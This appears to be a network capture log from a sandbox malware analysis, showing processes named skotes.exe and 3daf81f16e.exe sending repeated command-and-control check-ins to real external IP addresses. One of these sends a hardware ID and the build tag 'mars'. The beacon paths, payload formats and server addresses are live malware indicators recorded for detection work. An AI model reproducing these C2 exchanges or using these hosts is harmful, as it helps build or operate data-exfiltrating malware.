Nov 11, 2024 12:41:40.515979052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50162	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:42.762972116 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:43.543087959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50163	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:45.160288095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:45.800023079 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50164	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:47.313523054 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:47.957817078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50166	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:49.579596043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:50.217298985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50167	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:51.939558029 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:52.407960892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50168	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:54.037312031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:54.675241947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50169	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:56.187194109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:41:56.827562094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50170	185.215.113.206	80	6076	C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:56.406471014 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 12:41:57.044308901 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 12:41:57.063455105 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="hwid"28F299B564762778904926------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="build"mars------JJDBFCAEBFIJJKFHDAEC--
Nov 11, 2024 12:41:57.265376091 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:41:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50171	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:41:58.468348026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:41:59.120397091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50172	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:00.639620066 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:01.283891916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50173	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:02.946945906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:03.597666025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50174	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:05.109147072 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:05.753376961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50175	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:07.390588045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:08.047483921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50177	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:09.704790115 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:10.348881960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50178	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:11.984067917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50179	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:13.516204119 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:14.158771992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50180	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:15.799089909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:16.437352896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50181	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:17.955159903 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:18.602453947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50182	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:20.234565973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:20.872401953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50183	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:22.392582893 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:23.041955948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50184	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:24.657330990 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:42:25.296189070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50185	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:42:26.811523914 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:42:27.453332901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

